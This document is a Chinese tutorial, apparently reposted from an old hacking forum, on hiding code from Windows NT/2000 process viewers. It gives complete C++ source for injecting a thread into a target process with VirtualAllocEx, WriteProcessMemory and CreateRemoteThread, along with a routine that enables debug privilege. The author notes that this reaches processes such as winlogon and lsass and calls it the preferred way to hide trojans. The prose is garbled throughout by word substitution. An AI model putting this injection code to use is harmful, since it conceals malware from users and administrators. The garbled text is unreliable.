副标题#e#
面临浩瀚的计较机好手,思量许久,终于照旧抉择出来献丑一下,文章内只管利用最简捷易懂的词汇及例子来先容,但愿可以或许对一些初学与进阶者有所辅佐。
关于历程的埋没,98下的例子数不胜数。WinNT/Win2K下的埋没要领,西祠的好手shotgun在去年的6月就已经在网上宣布出实例《揭开木马的神秘面纱<四>》 ,我也多次拜读他的文章,对他的计较机程度及热心辅佐伴侣的作风十分佩服。这里也可算是对shotgun的文章的增补与深入先容吧,好了,闲话少说。
在WinNT下"真正埋没历程"这一说法,可以讲是基础不行能实现,只要我们的措施是以历程内核的形式运行,都是不行能逃离CTRL+ALT+DEL的高眼。那么奇怪了,这岂不是与我们的标题《WinNT & Win2K下实现历程的完全埋没》相抵牾吗?是的,实际上应该是:以非历程方法执行方针代码,而逃避历程查察器的查抄,从而到达"历程埋没"的目标。
我们这里用的,是在宿主历程中,以线程的方法执行我们的代码。实现起来很是简朴。首先,我们先成立一个不执行任何语句的线程
DWORD stdcall ThreadProc(LPVOID *lpVoid){
return 0;
}
然后,将线程代码拷备至宿主历程所可以或许执行的任那里所(即页面属性为PAGGE_EXECUTE_READWRITE),如:共享内存影射区、宿主历程内。这里我们选择宿主历程,拷备的时侯,我们需要先在宿主历程中利用VirtualAllocEx函数申请一段内存,然后再利用WriteProcessMemory将线程体写入宿主历程中。
以上事情完成后,我们便可CreateRemoteThread函数激活其执行。下面给出一个完整的例子
//长途线程执行体
DWORD __stdcall ThreadProc (void *lpPara){
return 0;
}
int main(int argc, char* argv[]){
const DWORD THREADSIZE=1024*4;//暂定线程体巨细为4K,实际上没这么大,稍后我将会先容
DWORD byte_write;
//得到指定历程ID句柄,并设其权限为PROCESS_ALL_ACCESS,992是宿历程的ID号,获取ID号的要领这里我就不多讲了
HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992);
if(!hWnd)return 0;
void *pRemoteThread =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT| MEM_RESERVE,PAGE_EXECUTE_READWRITE);//申请
if(!pRemoteThread)return 0;
if(!::WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,THREADSIZE,0))//写入历程
return 0;
//启动线程
HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,NULL,0,&byte_write);
if(!hThread){ //尚有内存分派未释放
return 0;
}
return 0;
}
#p#副标题#e#
到这里,对付埋没的要领就算告一段落,相信看过的伴侣对这个思路有个很是明晰的观念了吧。
在领略埋没的要领后,我们着重开始写线程的执行部门了。如下:
DWORD __stdcall ThreadProc(void *lpPara){
MessageBox(NULL,"hello","hello",0);
return 0;
}
编译执行后,你会发明呈现一个犯科操纵错误,为什么呢?在我们以段页式内存打点的win2K操纵系统中,编译时会把所有的常量编译在PE文件的.data节中,而代码段则在.text中,所以,我们拷备到宿主历程中的代码是在.text中的代码,MessageBox(NULL,(char *)指针,p,0);所指向的地点是本历程的内存虚拟地点。而在宿主历程中是无法会见的。办理的要领很简朴,按旧照搬的将"hello"也拷备到方针历程中,然后再引用。同理,MessageBox函数地点编译时,也是生存在.Import中,写过Win2k病毒的伴侣都知道,所有常量与函数进口地点都需在代码段界说与得出,我们这里也与他有点雷同。言归正传,同样环境我们也把函数的进口地点一起写入方针历程中。//先界说参数布局
typedef struct _RemotePara{//参数布局
char pMessageBox[12];
DWORD dwMessageBox;
}RemotePara;
//付值
RemotePara myRemotePara;
::ZeroMemory(&myRemotePara,sizeof(RemotePara));
HINSTANCE hUser32 = ::LoadLibrary ("user32.dll");
myRemotePara.dwMessageBox =(DWORD) ::GetProcAddress (hUser32 , "MessageBoxA");
strcat(myRemotePara.pMessageBox,"hello\0");
//写进方针历程
RemotePara *pRemotePara =(RemotePara *) ::VirtualAllocEx (hWnd ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);//留意申请空间时的页面掩护属性
if(!pRemotePara)return 0;
if(!::WriteProcessMemory (hWnd ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;
//启动进将参数通报进入
HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);
if(!hThread){
return 0;
}好了,就这么简朴,下在给出一个弹出一个MessageBox的实例:// RemoteThread.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
typedef struct _RemotePara{//参数布局
char pMessageBox[12];
DWORD dwMessageBox;
}RemotePara;
//长途线程
DWORD __stdcall ThreadProc (RemotePara *lpPara){
typedef int (__stdcall *MMessageBoxA)(HWND,LPCTSTR,LPCTSTR,DWORD);//界说MessageBox函数
MMessageBoxA myMessageBoxA;
myMessageBoxA =(MMessageBoxA) lpPara->dwMessageBox ;//获得函数进口地点
myMessageBoxA(NULL,lpPara->pMessageBox ,lpPara->pMessageBox,0);//call
return 0;
}
void EnableDebugPriv();//晋升应用级调试权限
int main(int argc, char* argv[]){
const DWORD THREADSIZE=1024*4;
DWORD byte_write;
EnableDebugPriv();//晋升权限
HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992);
if(!hWnd)return 0;
void *pRemoteThread =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT| MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!pRemoteThread)return 0;
if(!::WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,THREADSIZE,0))
return 0;
//再付值
RemotePara myRemotePara;
::ZeroMemory(&myRemotePara,sizeof(RemotePara));
HINSTANCE hUser32 = ::LoadLibrary ("user32.dll");
myRemotePara.dwMessageBox =(DWORD) ::GetProcAddress (hUser32 , "MessageBoxA");
strcat(myRemotePara.pMessageBox,"hello\0");
//写进方针历程
RemotePara *pRemotePara =(RemotePara *) ::VirtualAllocEx (hWnd ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);//留意申请空间时的页面属性
if(!pRemotePara)return 0;
if(!::WriteProcessMemory (hWnd ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;
//启动线程
HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);
if(!hThread){
return 0;
}
return 0;
}
//晋升权限
void EnableDebugPriv( void )
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if ( ! OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
return;
if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ){
CloseHandle( hToken );
return;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )
CloseHandle( hToken );
}
好了,措施编译执行后会在历程号为992的历程中建设一线程,弹出hello对话框。是不长短常简朴呢!
这里有几个处所需要留意的:
#p#分页标题#e#
1、长途线程在宿主历程中申请空间时,空间巨细简直定了是我一直无法办理的问题。我曾利用两个贴近一起的线程,以线程间的间隔巨细,并加上参数巨细,作为申请空间时,仍然会呈现犯科操纵,如下:
static void StartThread (LPVOID *lpPara){
return ;
}
static void EndThread(LPVOID *lpPara){
return;
}
然后利用DWORD dwLenght = (DWORD)((char *)&StartThread – (char *)&EndThread);//获得StartThread线程代码长度,
dwLenght += sizeof(ThreadPara);
仍会呈现犯科操纵让我很疑惑。在win2k中,线程的默认仓库的页巨细是4KB,这里我在为线程申请内存时,申请的巨细临时利用一个常数,始终为4KB的倍数,选取时只管取大,在线程可乐成运行后,再一点点改小。步伐是笨了点,如这里的伴侣有更好的要领,请不惜见教。
2、什么时侯,什么参数是需要从外部通报进来的呢?我这里并没有一个十分有力的谜底,我的领略是:PE文件中除了.text节以外的所有节,均需利用外部参数通报到线程中利用,如:.rsrc、.data、rdata等其他的15个节。在我们实际编写的进程中,初学者并不知道我们的代码会编译在什么处所,这个时侯,我们可以在运行的时侯ALT + 8(VC中快捷键)反编译过来,一般有lea eax p、push offset p等取地点语句,这个时侯,我们多半需要以参数通报进来。所以,各人在编写的时侯,必然要留意参数,因为线程的执行是在此外历程中,一个普通权限的应用措施是无法超过历程来调试其他历程的。包罗VC,也无法调试我们的长途线程,熟悉汇编的伴侣,可用softice调试,这需要必然的功底。
3、权限,这一点很重要,shotgun在这方面也先容得很清楚了,网上相关的文章也许多,我就不多说了。文中的EnableDebugPriv函数可使本历程在internet、winLogin、lsass等历程中建设线程。win2k的历程查察器无法将其杀除。
4、历程ID获要领较多,如:EnumProcesses、CreateToolhelp32Snapshot/Process32First/Process32Next、NtQuerySystemInformation等函数均可,为淘汰代码,例子中的历程ID是直接在历程查察器中获得的。最后,我们再回到shotgun的文章中,这时侯我们因已经很是清楚他的要领中为何会多出一个DLL文件了。长途线程的线程体自己就是LoadLibrary函数,即,线程的进口地点就是LoadLibrary的进口地点,这是系统Kernel32.dll中的函数,任何历程都可挪用。线程中利用LoadLibrary函数将我们的DLL加载到系统空间内,线程一执行,我们的DLL就开始事情了。线程执行竣事后,别忘了利用VirtualFreeEx将其申请的内存区释放。
两种要领一较量,很明明:
1、在利用DLL时,建设十分简朴,也不需要太多的操纵系统与内存操纵常识,并可直接调试DLL文件。实现起来较量简朴。
#p#分页标题#e#
2、直接拷备到历程中的要领稍为巨大一点,一不小心,很容易呈现犯科操纵。虽然,也去掉那了个让人讨厌DLL文件。措施执行后,很难找到他的来历地,是除了病毒以外的木马埋没的首选要领。这里我大量参考了nongmin.cn(农夫)措施的源码,他的措施对我的辅佐很是大。固然未有碰面,但对他的计较机程度与作为十分的佩服,并尊从他的作风,今后我所写的所有非贸易软件或小代码,均以源码形式呈现。这里写得有点乱,但愿对各人可以或许有所辅佐,愿与所有喜好计较机,从事计较机事情的伴侣们共勉。